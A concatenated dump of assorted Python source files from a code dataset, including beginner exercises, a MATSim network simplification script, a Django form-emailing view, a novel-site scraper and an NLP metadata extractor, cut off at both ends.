))\n","sub_path":"cafesys/baljan/kobra.py","file_name":"kobra.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"112563764","text":"\"\"\"\n 练习：在控制台中录入多个人的喜好\n\n\"\"\"\n\"\"\"\n{\n \"张三\"：[”爱好1“，”爱好2“， ”爱好3“]\n}\n\"\"\"\ndict_01 = {}\n\nwhile True:\n name = input(\"请输入姓名：\")\n if name == \"\":\n break\n # dict_01[name] = []\n list_hobby = []\n while True:\n hobby = input(\"请输入爱好：\")\n if hobby == \"\":\n break\n list_hobby.append(hobby)\n dict_01[name] = list_hobby\n\nfor k, value in dict_01.items():\n print(\"姓名：%s 爱好：\" % k, end=\" \")\n for item in value:\n print(item, end=\"，\")\n","sub_path":"day06/exo02.py","file_name":"exo02.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"160433215","text":"import argparse\nimport json\nimport logging\nimport os\nimport time\n\nfrom genet import read_matsim\nfrom genet.utils.persistence import ensure_dir\n\nif __name__ == '__main__':\n arg_parser = argparse.ArgumentParser(description='Simplify a MATSim network by removing '\n 'intermediate links from paths')\n\n arg_parser.add_argument('-n',\n '--network',\n help='Location of the network.xml file',\n required=True)\n\n arg_parser.add_argument('-s',\n '--schedule',\n help='Location of the schedule.xml file',\n required=False,\n default=None)\n\n arg_parser.add_argument('-v',\n '--vehicles',\n help='Location of the vehicles.xml file',\n required=False,\n default=None)\n\n arg_parser.add_argument('-p',\n '--projection',\n help='The projection network is in, eg. \"epsg:27700\"',\n required=True)\n\n arg_parser.add_argument('-np',\n '--processes',\n help='The number of processes to split computation across',\n required=False,\n default=1,\n type=int)\n\n arg_parser.add_argument('-od',\n '--output_dir',\n help='Output directory for the simplified network',\n required=True)\n\n args = vars(arg_parser.parse_args())\n network = args['network']\n schedule = args['schedule']\n vehicles = args['vehicles']\n projection = args['projection']\n processes = args['processes']\n output_dir = args['output_dir']\n ensure_dir(output_dir)\n\n logging.basicConfig(format='%(asctime)s - %(message)s', level=logging.WARNING)\n\n logging.info('Reading in network at {}'.format(network))\n n = read_matsim(\n path_to_network=network,\n epsg=projection,\n path_to_schedule=schedule,\n path_to_vehicles=vehicles\n )\n\n logging.info('Simplifying the Network.')\n\n start = time.time()\n n.simplify(no_processes=processes)\n end = time.time()\n\n logging.info(\n f'Simplification resulted in {len(n.link_simplification_map)} links being simplified.')\n with open(os.path.join(output_dir, 'link_simp_map.json'), 'w', encoding='utf-8') as f:\n json.dump(n.link_simplification_map, f, ensure_ascii=False, indent=4)\n\n n.write_to_matsim(output_dir)\n\n logging.info('Generating validation report')\n report = n.generate_validation_report()\n logging.info(f'Graph validation: {report[\"graph\"][\"graph_connectivity\"]}')\n if n.schedule:\n logging.info(f'Schedule level validation: {report[\"schedule\"][\"schedule_level\"][\"is_valid_schedule\"]}')\n logging.info(f'Routing validation: {report[\"routing\"][\"services_have_routes_in_the_graph\"]}')\n\n n.generate_standard_outputs(os.path.join(output_dir, 'standard_outputs'))\n\n logging.info(f'It took {round((end - start)/60, 3)} min to simplify the network.')\n","sub_path":"scripts/simplify_network.py","file_name":"simplify_network.py","file_ext":"py","file_size_in_byte":3294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"33544763","text":"import sqlite3\n\n\n\nclass DBConnect:\n def __init__(self):\n self._db = sqlite3.connect(\"informations.db\")\n self._db.row_factory = sqlite3.Row\n self._db.execute(\"create table if not exists Admin(ID integer primary key autoincrement,Name text,Age int)\")\n self._db.commit()\n\n def add_records(self,name,age):\n self._db.row_factory = sqlite3.Row\n # Add records\n self._db.execute(\"insert into Admin(Name,Age) values(?,?)\", (name, age))\n self._db.commit()\n print(\"record is added\")\n def List_Data(self):\n cursor=self._db.execute(\"select * from Admin\")\n for row in cursor:\n print(\"ID = {} ... Name{} .. Age {} \".format(row[\"ID\"],row[\"Name\"],row[\"Age\"]))\n\n def deleteRecord(self,ID):\n self._db.row_factory = sqlite3.Row\n # delete records\n self._db.execute(\"delete from Admin where ID={}\".format(ID))\n self._db.commit()\n print(\"record is deleted\")\n def update (self,ID,age):\n self._db.row_factory = sqlite3.Row\n # update records by name\n self._db.execute(\"update Admin set Age=? where ID=?\",(age,ID))\n self._db.commit()\n print(\"record is updated\")\n","sub_path":"DB_Connect_Class.py","file_name":"DB_Connect_Class.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"492432931","text":"from django.shortcuts import render\nfrom Forms.models import Forms, Fields, Values, Emails,SecondValues\nfrom django.urls import reverse_lazy\nfrom django.contrib import messages\nfrom django.shortcuts import redirect\nfrom django.template.loader import render_to_string\nfrom django.views.generic import CreateView, TemplateView\nfrom validate_email import validate_email\nfrom django.core.exceptions import ValidationError\nfrom django.core.mail import EmailMessage\n\nfrom django.http import HttpResponseForbidden, HttpResponse\nimport threading\nfrom threading import Thread\nimport sys\nfrom project import settings\nimport json\n\n\n\nclass EmailThread(threading.Thread):\n def __init__(self, subject, html_content, email_list):\n self.subject = subject\n self.email_list = email_list\n self.html_content = html_content\n threading.Thread.__init__(self)\n\n def run (self):\n msg = EmailMessage(self.subject, self.html_content, settings.EMAIL_HOST_USER, self.email_list)\n msg.content_subtype = \"html\"\n msg.send()\n\ndef send_html_mail(subject, html_content, email_list):\n EmailThread(subject, html_content, email_list).start()\n\n\nclass FormsMetm(TemplateView):\n model = Fields\n template_name = 'index.html'\n \n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n objects = Forms.objects.filter(pk=context['id']).first()\n context[\"objects\"] = objects\n \n\n return context\n\n \n def post(self, request, *args, **kwargs):\n err_list = []\n context = dict()\n objects = Forms.objects.filter(pk=kwargs['id']).first()\n # print(objects,\"FFFFFFFFFFFFFFFFFFFFFFFFFFf\")\n context[\"objects\"] = objects\n global email_value\n email_value = {}\n # print(self.request.POST[field])\n \n for field in self.request.POST: \n if field == 'csrfmiddlewaretoken':\n continue\n else:\n print(self.request.POST[field],'AAAAAAAAAAAAAAAAAAAAAA')\n \n input_name = field.split(\"-\")\n \n field_id = input_name[1]\n field_label = input_name[0]\n # print(field_label)\n fields = Fields.objects.filter(id=field_id).first().get_type()\n require = Fields.objects.filter(id=field_id ,requirement = True).first()\n # print(require,'ALALALALALAALALLAAL')\n \n \n main_field = Fields.objects.filter(label=field_label).first()\n\n is_valid = False\n if fields == '1':\n a=request.POST.get(field, \"\")\n \n \n if len(a) == 0 and require:\n \n err_list.append({field_label:'Bosh buraxmaq olmaz'})\n context[\"err_list\"] = err_list\n \n \n if fields == '2':\n nomre = request.POST.get(field, \"\")\n \n \n if len(nomre) == 0 and require:\n \n err_list.append({field_label:'bosh buraxmaq olmaz'})\n context[\"err_list\"] = err_list\n\n if not nomre.isdigit() and len(nomre)!=0:\n err_list.append({field_label:'Duzgun nomre daxil edin'})\n context[\"err_list\"] = err_list\n\n\n if fields == '6' and require:\n email = request.POST.get(field, \"\")\n if len(email) == 0:\n err_list.append({field_label:'bosh buraxmaq olmaz'})\n context[\"err_list\"] = err_list\n\n\n is_valid = validate_email(email_address=email, check_regex=True, check_mx=True, from_address='my@from.addr.ess',\n helo_host='localhost', smtp_timeout=10, dns_timeout=10, use_blacklist=True, debug=False)\n if not is_valid:\n err_list.append({field_label:'Duzgun email daxil edin'})\n context[\"err_list\"] = err_list\n\n email = request.POST.get(field, \"\")\n if fields == '6' and len(email)!=0:\n email = request.POST.get(field, \"\")\n is_valid = validate_email(email_address=email, check_regex=True, check_mx=True, from_address='my@from.addr.ess',\n helo_host='localhost', smtp_timeout=10, dns_timeout=10, use_blacklist=True, debug=False)\n if not is_valid:\n err_list.append({field_label:'Duzgun email daxil edin'})\n context[\"err_list\"] = err_list\n\n \n if len(err_list) == 0:\n \n form = SecondValues(forms=objects,\n datas=json.dumps(self.request.POST))\n form.save()\n \n for field in self.request.POST: \n if field == 'csrfmiddlewaretoken':\n continue\n else:\n dicti = {\n field : self.request.POST[field]\n }\n email_value=dicti\n subject = 'Form datas'\n emails = Emails.objects.filter(forms__id=kwargs['id']).values_list('email', flat=True)\n context = {\n 'value_list':email_value,\n }\n template_name = 'email.html'\n msg = render_to_string(template_name , context)\n template = msg\n send_html_mail(subject,template,emails) \n return render(request, 'index2.html')\n return render(request, 'index.html',context)\n\n\n\n\n\n\n","sub_path":"project/Forms/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"479080403","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom multiprocessing import Pool\n\n\n# 解析一章的内容\ndef parser_a_chapter(html):\n # 解析网页\n soup = BeautifulSoup(html, 'html.parser')\n title = soup.find('h1', 'readTitle')\n print(title.get_text())\n # 获得内容\n div = soup.find(id='htmlContent')\n text = div.get_text()\n # 判断一章是否分两页\n bnt = soup.find(id='linkNext')\n if bnt.get_text() != '下一章':\n text = text + get_a_chapter(bnt['href'])\n return text\n\n# 获得一章的内容\ndef get_a_chapter(chapter_url):\n res = requests.get(chapter_url)\n res.encoding = 'gbk'\n text = parser_a_chapter(res.text)\n return text\n\n# 获得一本书的内容\ndef get_book(url):\n res = requests.get(url)\n res.encoding = 'gbk'\n soup = BeautifulSoup(res.text, 'html.parser')\n dd = soup.find_all('dd', 'col-md-3')\n title = soup.find('h1', 'bookTitle').get_text()\n print(title)\n with open(title + '.txt', 'a', encoding='utf-8') as f:\n f.write(title + '\\n')\n for i in dd:\n if i.a != None:\n text = get_a_chapter(url + i.a['href'])\n f.write(text + '\\n')\n\n\n# 爬取num页，返回list(每一页的url)\ndef get_pages(num):\n base_url = 'http://www.ddxsw.la/wanben/'\n i = 1\n ls=[]\n for i in range(num):\n url = base_url + str(i)\n res = requests.get(url)\n ls.append(res.text)\n return ls\n\n# 解析每一页，获得每本书的url，返回list\ndef parser_index_page(html_ls):\n ls = []\n for html in html_ls:\n soup = BeautifulSoup(html, 'html.parser')\n table = soup.table\n for i in table.find_all('a'):\n if i.get('class') == None:\n ls.append(i['href'])\n return ls\n\n\ndef main(url):\n get_book(url)\n\n\nif __name__ == '__main__':\n # 首先获得num页的书\n num = 2\n index_html_ls = get_pages(num)\n # 然后得到每本书的url\n books_url = parser_index_page(index_html_ls)\n # 最后用多进程爬取\n pool = Pool()\n pool.map(main, books_url)","sub_path":"spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"592642638","text":"from Cube import*\nfrom gui.main_gui import *\n\nclass Debug:\n cube = Cube(2)\n move_list = []\n def __init__(self):\n pass\n\n @staticmethod\n def view(hash):\n if hash == None:\n return\n m = Cube(2)\n m.state = Cube.decode(hash)\n g = GUI(cube=m, player=True, width=800, height=600)\n\n while True:\n g.update()\n\n @staticmethod\n def reset(cube=Cube(2)):\n Debug.cube = cube\n Debug.move_list = [((None,None),cube.__hash__())]\n\n @staticmethod\n def addMove(move):\n Debug.move_list.append(move)\n\n @staticmethod\n def viewMoves():\n g = GUI(cube=Debug.cube, width=800, height=600)\n g.moveList(Debug.move_list)\n\n while True:\n g.update()\n\nif __name__ == '__main__':\n hash = None\n print(\"Enter the hash: \")\n Debug.view(int(input()))\n\n pass\n\n # Initial setup debug\n c = Cube(2)\n c.makeMove((1,1))\n c.makeMove((2,1))\n Debug.reset(c)\n\n # Add moves\n c.makeMove((2,3))\n Debug.addMove(((2,3), c.__hash__()))\n c.makeMove((1,3))\n Debug.addMove(((1,3), c.__hash__()))\n\n Debug.viewMoves()\n\n","sub_path":"cubeai/debug.py","file_name":"debug.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"113237907","text":"import wikipedia\nfrom wikipedia.exceptions import DisambiguationError\nimport xml.dom.minidom\n\nfrom get_pos import *\nfrom get_vars import *\nimport get_medical_objects\nimport get_structural_objects\nimport get_conceptual_objects\nfrom get_medical_objects import *\nfrom get_structural_objects import *\nfrom get_conceptual_objects import *\n\ndef get_data_store(index, database, operation, args):\n '''\n this assembles an index or retrieves it from local storage,\n filtering by object_types found in the metadata argument\n '''\n downloaded = downloads(['data', 'datasets'])\n if not downloaded:\n return False\n av = get_vars()\n if av:\n data_store = {}\n ''' if index or database not passed in, fetch the local db if it exists '''\n args, filters, metadata, generate_target, generate_source = get_args(args, av)\n av['metadata'] = metadata if metadata else av['supported_params']\n for key in metadata:\n related_metadata = add_related_metadata(key, av)\n if related_metadata:\n metadata.extend(related_metadata)\n metadata = list(set(metadata))\n if operation == 'build':\n database = get_local_database('data', None) if not database else database\n data_store, rows = build_indexes(database, args, filters, av)\n elif operation == 'get_database':\n data_store = get_local_database('data', None)\n elif operation == 'get_index':\n data_store = index\n if data_store and metadata:\n new_index = {}\n for key in metadata:\n new_index[key] = data_store[key] if key in data_store else set()\n if new_index:\n return new_index\n return False\n\ndef get_data_from_source(source, keyword, av):\n articles = get_batch(source, 0, keyword, [])\n print('get_data_from_source: get_batch: articles', len(articles))\n if articles:\n if len(articles) > 0:\n data = process_articles(articles, source, keyword, av) \n print('processed articles: data', data)\n if data:\n return data\n return False\n\ndef get_batch(source, start, keyword, articles):\n print('get batch for source', start, keyword, len(articles))\n total = 0\n max_count = 10\n keyword = keyword.replace(' ', '+')\n if source['name'] == 'wiki':\n content, sections, categories = get_content_from_wiki(keyword, av)\n if content and sections and categories:\n new_articles = [content]\n else:\n url = source['url'].replace('', keyword).replace('', str(start)).replace('', str(max_count))\n print('url', url)\n response = requests.get(url)\n if response.content:\n print('response content', response.content)\n if source['response_format'] == 'xml':\n xml_string = xml.dom.minidom.parseString(response.content)\n if xml_string:\n count_tag = xml_string.documentElement.getElementsByTagName(source['count'])\n if count_tag:\n total = int(count_tag[0].childNodes[0].nodeValue)\n new_articles = xml_string.documentElement.getElementsByTagName(source['entries'])\n else:\n new_articles = json.loads(response.content)\n print('new articles', len(new_articles))\n if new_articles:\n if len(new_articles) > 0:\n articles.extend(new_articles) \n if (start + max_count) < total:\n start = start + max_count\n if start < 50:\n return get_batch(source, start, keyword, articles) \n return articles\n return False\n\ndef process_articles(articles, source, keyword, av):\n data = {}\n for article in articles:\n title = None\n article_text = None\n if source['name'] == 'pubchem':\n title, article_text = get_article_from_id(article, source)\n print('found pubchem article', article, 'title', title)\n elif source['name'] == 'wiki':\n title = keyword\n article_text = article\n else:\n title = get_text_from_nodes(article, source['title_element'])\n article_text = get_text_from_nodes(article, source['summary_element'])\n if title and article_text:\n article_lines, av = standard_text_processing(article_text, av)\n if article_lines:\n data[title] = article_lines # article_lines[line][word] = pos\n if data:\n return data\n return False\n\ndef get_article_from_id(id_value, source):\n print('get_article_from_id', id_value)\n if id_value:\n url = ''.join(['https://eutils.ncbi.nlm.nih.gov/entrez/eutils/efetch.fcgi?db=pubmed&id=', id_value, '&retmode=xml'])\n response = requests.get(url)\n if response:\n if response.content:\n print('pubmed content', id_value, response.content)\n xml_string = xml.dom.minidom.parseString(response.content)\n if xml_string:\n title = xml_string.documentElement.getElementsByTagName(source['title_element'])[0].childNodes[0].nodeValue\n text = xml_string.documentElement.getElementsByTagName(source['summary_element'])[0].childNodes[0].nodeValue\n print('title', title)\n print('text', text)\n if title and text:\n return title, text\n return False, False\n\ndef get_text_from_nodes(entry, element_name):\n nodes = [node for node in entry.childNodes if node.nodeName == element_name]\n if len(nodes) > 0:\n text = ''.join([subnode.wholeText for node in nodes for subnode in node.childNodes])\n if len(text) > 0:\n return text\n return False\n\ndef add_row(row, index, empty_index, rows):\n if row:\n if row != empty_index:\n for key, val in row.items():\n if type(val) == dict:\n row[key] = '::'.join(['_'.join([k,v]) for k,v in val.items()])\n elif type(val) == set or type(val) == list:\n row[key] = str('::'.join(set(val)))\n elif type(val) == bool:\n row[key] = '1' if val is True else '0'\n index[key] = index[key].add(row[key])\n rows.append(row)\n return index, rows\n\ndef build_indexes(database, args, filters, av):\n ''' \n - this function indexes data from api providing articles\n - if the local database is found, use that as starting index, otherwise build it\n '''\n rows = []\n empty_index = get_empty_index(av)\n index = database if database else empty_index if empty_index else None\n for arg in args:\n for source in av['sources']:\n data = get_data_from_source(source, arg, av)\n if data:\n print('data', data)\n exit()\n for title, article_lines in data.items():\n for line, word_map in article_lines.items():\n row = get_metadata(line, title, word_map, av)\n if row:\n index, rows = add_row(row, index, empty_index, rows)\n if index and rows:\n write_csv(rows, index.keys(), 'data/rows.csv')\n return index, rows\n return False, False\n\ndef get_metadata(line, title, word_map, av):\n ''' \n this function initializes the row object & populates it with various metadata types:\n - structural_types to get nouns, verbs, phrases, modifiers, clauses, & relationships\n - medical_types to get conditions, symptoms, & treatments in the sentence \n - conceptual_types to get types, strategies & insights\n '''\n row = get_empty_index(av) \n row['line'] = line\n row['word_map'] = word_map\n row['original_line'] = line\n row = replace_names(row, av)\n row = get_similarity_to_title(title, row)\n row = get_structural_metadata(row, av)\n print('\\nrow with structural metadata', row)\n for metadata_type in ['medical_types', 'conceptual_types']:\n for object_type in av[metadata_type]:\n if object_type in av['metadata']:\n for search_pattern_key in av['computed_pattern_index']:\n # check that this data 'strategy', 'treatment' was requested and is supported in pattern_index\n print('\\nget metadata', object_type, search_pattern_key)\n objects, patterns, av = extract_objects_and_patterns(row, object_type, search_pattern_key, av)\n if objects:\n if objects[object_type] != row.keys():\n row[object_type] = set(row[object_type]).union(set(objects[object_type]))\n if patterns:\n joined_key = '_'.join([object_type, search_pattern_key])\n if joined_key not in row['pattern']:\n row['pattern'][joined_key] = set()\n for p in patterns:\n row['pattern'][joined_key].add(p)\n print('\\nmedical objects', row)\n return row\n\ndef extract_objects_and_patterns(row, object_type, search_pattern_key, av):\n '''\n - this function finds subsets & objects matching patterns from search_pattern_key patterns in row[object_type] data\n 1. find any matches from search_pattern_key patterns in row[object_type] data\n 2. if pattern matches found in lines, \n find objects in matches with type-specific logic from find_ function\n 3. if no pattern matches found in lines, \n find objects in lines with type-specific logic from find_ function\n - object_type is the key in object types supported in av['full_params'] to find: ['treatment', 'condition', 'strategy']\n - search_pattern_key is the type of av['pattern_index'] patterns to search: ['modifier', 'type', 'role']\n - object_type may equal search_pattern_key\n '''\n object_type = object_type if object_type in row else 'line'\n if row:\n if object_type in av['metadata'] or av['metadata'] == 'all' and object_type in row:\n all_patterns = {}\n all_objects = {}\n data = row[object_type] if type(row[object_type]) == list else [row[object_type]]\n for item in data:\n found_objects, found_patterns, av = get_patterns_and_objects_in_line(item, search_pattern_key, row, object_type, av)\n if found_patterns:\n for pattern_key, patterns in found_patterns.items():\n if pattern_key not in all_patterns:\n all_patterns[pattern_key] = {}\n for pattern, matches in patterns.items():\n if pattern not in all_patterns[pattern_key]:\n all_patterns[pattern_key][pattern] = set()\n all_patterns[pattern_key][pattern] = all_patterns[pattern_key][pattern].union(matches)\n if not found_objects:\n ''' \n if there are no matches found for object_type patterns, \n do a standard object query independent of patterns to apply type-specific logic \n '''\n found_objects = apply_find_function(object_type, item, row, av)\n if found_objects:\n print('find function objects', object_type, found_objects)\n if object_type not in all_objects:\n all_objects[object_type] = set()\n all_objects[object_type] = all_objects[object_type].union(found_objects)\n if all_objects or all_patterns:\n print('extracted objects', all_objects, 'patterns', all_patterns)\n return all_objects, all_patterns, av\n return False, False, av\n\ndef get_patterns_and_objects_in_line(line, search_pattern_key, row, object_type, av):\n ''' the reason we allow search_pattern_key and object_type to differ is to find subset matches \n example: \n find 'modifiers' in 'treatment patterns' would have:\n object_type = 'modifier' and search_pattern_key = 'treatment'\n '''\n found_objects = set()\n found_patterns, av = get_matching_subsets(line, search_pattern_key, av)\n if found_patterns and object_type != 'pattern':\n for pattern_type in found_patterns:\n for pattern, matches in found_patterns[pattern_type].items():\n ''' filter pattern matches for this type before adding them, with type-specific logic in find_* functions '''\n ''' note: this is not restricting output to found objects '''\n for m in matches:\n objects_found = apply_find_function(object_type, m, row, av)\n if objects_found:\n found_objects = found_objects.union(objects_found)\n if found_patterns or found_objects:\n return found_objects, found_patterns, av\n return False, False, av\n\ndef apply_find_function(object_type, subset, row, av):\n ''' find functions check for objects of object_type in matches list which match pattern \n - all find object functions need to support params:\n - subset, row, av\n - subsets = 'dog of cat', 'cat of dog' (matches for pattern 'x of y')\n '''\n function_name = ''.join(['find_', object_type])\n if function_name in globals():\n if function_name:\n if get_structural_objects and get_conceptual_objects and get_medical_objects and get_vars:\n function = None\n for package in [get_structural_objects, get_conceptual_objects, get_medical_objects, get_vars]:\n try:\n function = getattr(package, function_name)\n except Exception as e:\n continue\n if function:\n got_objects = function(subset, row, av)\n if got_objects:\n if len(got_objects) > 0:\n return set([item for item in got_objects])\n return False\n\ndef get_structural_metadata(row, av):\n '''\n 1. identifies 'ngram', 'modifier', 'phrase', 'noun_phrase', 'verb_phrase', 'clause', 'subject', 'pattern'\n 2. then assembles conditions of sentence & executes order_clauses on conditions\n 3. then identifies 'relationship' objects from sentence conditions\n verb-noun-phrases should be converted into modifiers\n once you have the nouns/modifiers, you can pick a subject from the noun or modifier\n '''\n print('\\n\\nget_structural_metadata', row)\n keep_ratios = ['extra', 'high', 'none']\n corrected_line = correct(row['line'])\n print('row', row)\n row['line'] = corrected_line if corrected_line else row['line']\n if row['line'] != '':\n generated_patterns, av = get_all_versions(row['line'], 'all', av)\n if generated_patterns:\n print('generated_patterns', generated_patterns)\n for pattern_type, patterns in generated_patterns.items():\n if pattern_type not in row['pattern']:\n row['pattern'][pattern_type] = set()\n if len(patterns) > 0:\n for pattern in patterns:\n print('pattern', pattern)\n row['pattern'][pattern_type].add(pattern)\n word_pos_line = ''.join([x for x in row['line'] if x in av['alphanumeric'] or x in av['clause_analysis_chars']])\n print('\\nword pos line', word_pos_line)\n words = word_pos_line.split(' ')\n new_line = []\n max_words, counts = get_common_words(row['line'], 3, av)\n if max_words and counts:\n row['count'] = counts\n row['common_word'] = max_words\n names = get_names(row['line'])\n if names:\n row['names'] = names\n for i, w in enumerate(words):\n if len(w) > 0:\n pos = row['word_map'][w] if row['word_map'] and w in row['word_map'] else get_nltk_pos(w, av)\n if pos:\n if pos in av['tags']['VC']:\n row['clause_marker'].add(w)\n if pos in av['tags']['ALL_N'] or w in av['alphabet'] or pos == 'N':\n ''' format nouns like 'inhibitor' or 'catalyzer' as a verb '''\n present_verb = conjugate(w, 'VBZ', av)\n if present_verb:\n row['verb'].add(present_verb)\n new_line.append(present_verb)\n else:\n row['noun'].add(w)\n new_line.append(w)\n elif pos in av['tags']['ALL_V'] or pos == 'V':\n ''' dont conjugate '-ing' to preserve verb-noun modifier phrases '''\n present_verb = conjugate(w, 'VBZ', av)\n if present_verb:\n row['verb'].add(present_verb)\n new_line.append(present_verb)\n else:\n row['verb'].add(w)\n new_line.append(w)\n elif pos in av['tags']['D'] or pos == 'D':\n ratio = get_determiner_ratio(w)\n if ratio:\n if ratio in keep_ratios:\n row['det'].add(str(ratio))\n new_line.append(str(ratio))\n elif pos in av['tags']['P'] or pos == 'P':\n row['prep'].add(w)\n new_line.append(w)\n elif pos in av['tags']['C'] or pos == 'C':\n row['conj'].add(w)\n new_line.append(w)\n elif pos in av['tags']['ADV'] or pos in av['tags']['ADJ'] or pos == 'ADJ' or pos in av['tags']['ADV'] or pos in av['tags']['ADV'] or pos == 'ADV':\n row['descriptor'].add(w)\n new_line.append(w)\n else:\n row['taken_out'].add('_'.join([w, str(pos)]))\n else:\n if w in av['alphabet']:\n row['noun'].add(w)\n new_line.append(w)\n row['line'] = ' '.join(new_line) if len(new_line) > 0 else word_pos_line\n print('\\ninterim row', row)\n ngrams = find_ngrams(row['line'], av) # 'even with', 'was reduced', 'subject position'\n if ngrams:\n for k, v in ngrams.items():\n row['ngram'] = row['ngram'].union(v)\n print('\\nngrams', row['ngram'])\n for key, value in row.items():\n print('key', key, value)\n structure_types = ['modifier', 'phrase', 'verb_phrase', 'noun_phrase', 'clause']\n for i, key in enumerate(structure_types):\n if len(row[key]) > 0:\n objects, patterns, av = extract_objects_and_patterns(row, key, key, av)\n if objects:\n print('\\n\\n\\nobjects', key, objects)\n if key in objects:\n if key == 'verb_phrase':\n for item in objects[key]:\n new_list = []\n for w in item.split(' '):\n pos = get_nltk_pos(w, av)\n if pos:\n present_verb = conjugate(w, 'VBZ', av)\n if present_verb:\n new_list.append(present_verb)\n else:\n new_list.append(w)\n else:\n new_list.append(w)\n if len(new_list) > 0:\n row[key].add(' '.join(new_list))\n elif key == 'subject':\n for item in objects[key]:\n row[key].add(item.split(' ')[0]) # to do: remove trailing verb in 'N V' subject pattern\n elif key == 'clause':\n row[key] = objects[key]\n else:\n print('objects key', key)\n row[key] = set(row[key]).union(set(objects[key]))\n if patterns:\n for pattern_type in patterns:\n if pattern_type not in row['pattern']:\n row['pattern'][pattern_type] = set()\n row['pattern'][pattern_type] = row['pattern'][pattern_type].union(patterns[pattern_type])\n print('\\nafter pattern identification')\n for key, value in row.items():\n print('key', key, value)\n new_row = find_relationship(row['line'], row, av)\n row = new_row if new_row else row\n print('\\nafter relationships', row)\n if len(row['relationship']) > 0:\n objects, patterns, av = extract_objects_and_patterns(row, 'relationship', 'relationship', av)\n if objects:\n if 'relationship' in objects:\n row['relationship'] = row['relationship'].union(set(objects['relationship']))\n if patterns:\n for pattern_key in patterns:\n if pattern_key not in row['pattern']:\n row['pattern'][pattern_key] = set()\n row['pattern'][pattern_key] = row['pattern'][pattern_key].union(patterns[pattern_key])\n if row:\n for key in row:\n print('key', key, row[key])\n return row\n return False\n\ndef assemble_pattern_indexes(object_types):\n all_derived_patterns = get_empty_index(av)\n object_types = object_types if object_types != 'all' else all_derived_patterns.keys()\n for object_type in object_types:\n if object_type in all_derived_patterns:\n print('deriving objects for type', object_type)\n derived_patterns, articles, av = derive_and_store_patterns(object_type, av)\n if derived_patterns:\n for ep in derived_patterns:\n print('derived pattern', ep)\n if object_type not in all_derived_patterns:\n all_derived_patterns[object_type] = set()\n all_derived_patterns[object_type].add(ep)\n if all_derived_patterns:\n return all_derived_patterns\n return False\n\nif sys.argv:\n index = get_data_store(None, None, 'build', sys.argv)\n print('get_data_store:index', index)\n\n","sub_path":"find_existing_solutions/get_metadata.py","file_name":"get_metadata.py","file_ext":"py","file_size_in_byte":22933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"20308283","text":"\n#Name: Jaron Huang\n#Date: Augsut 30, 2018\n#This program prints out the length and percentage of GC in a DNA string.\n\na = input(\"Enter a DNA string: \")\n\nprint(len(a))\n\nc = 0\n\nfor i in a:\n if (i == \"G\" or i == \"C\"):\n c += 1\n\nprint(c/len(a))\n","sub_path":"Lab9.py","file_name":"Lab9.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"568789683","text":"'''\n\nA SÉRIE DE RICCI DEFERE DA SERIE DE FIBONACCI PROQUE OS DOIS PRIMEIROS TERMOS SÃO FORNECIDOS PELO\nUSUÁRIO. OS DEMAIS TERMOS SÃO GERADOS DA MESMA FORMA QUE A SERIE DE FIBONACCI. CRIAR UM ALGORITMO\nQUE IMRIMA OS N PRIMEIROS TERMOS DA SERIE DE RICCI E A SOMA DOS TERMOS IMPRESSOS, SABENDO - SE QUE PARA\nEXISTIR ESTA SERIE SERÃO NECESSÁRIO PELO MENOS TRES TERMOS.\n\n'''\n\ntermo = int\n\na1 = int(input('Entre com o primeiro termo: '))\na2 = int(input('Entre com o segundo termo: '))\nn = int(input('Entre com N termos: '))\nsoma = a1 + a2\nif n >= 3:\n print('{} - {}'.format(a1,a2))\n\n for i in range(1,(n-2)+1):\n termo = a1 + a2\n a1 = a2\n a2 = termo\n print(termo, end=' | ')\n soma = soma + termo\n print(soma, end=' ')\nelse:\n print('Não tem termo')","sub_path":"Prog_209_pag_150.py","file_name":"Prog_209_pag_150.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"590236572","text":"import json\r\nfrom collections import namedtuple\r\nimport discord\r\n\r\ndef read_json_as_tuple(file):\r\n try:\r\n with open(file, encoding='utf8') as data:\r\n return json.load(data, object_hook=lambda d: namedtuple('X', d.keys())(*d.values()))\r\n except Exception as e:\r\n print(e)\r\n\r\ndef read_json_raw(file):\r\n try:\r\n with open(file, encoding='utf8') as data:\r\n return json.load(data)\r\n except Exception as e:\r\n print(e)\r\n\r\ndef write_json(data, file):\r\n try:\r\n with open(file, 'w') as file:\r\n json.dump(data, file, indent=2)\r\n except Exception as e:\r\n print(e)\r\n\r\ndef load_extension(bot, extension):\r\n try:\r\n bot.load_extension(extension)\r\n except Exception as e:\r\n print(f'Failed to load extension {extension}: {e}')\r\n\r\ndef is_command(commands, compare_text):\r\n for c in commands:\r\n if c.name == compare_text:\r\n return True\r\n return False","sub_path":"utils/general.py","file_name":"general.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"423934125","text":"import os, sys\nsys.path.append(os.pardir)\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nfrom sklearn.utils import shuffle\nimport shutil\nfrom scipy.io import loadmat\nfrom load_foot import Load_data, make_data\nfrom module.utility.history import History, Real_time_plot, EarlyStopping\nfrom module.basics.my_layers import bidirectional_LSTM, time_stacked_conv1d, 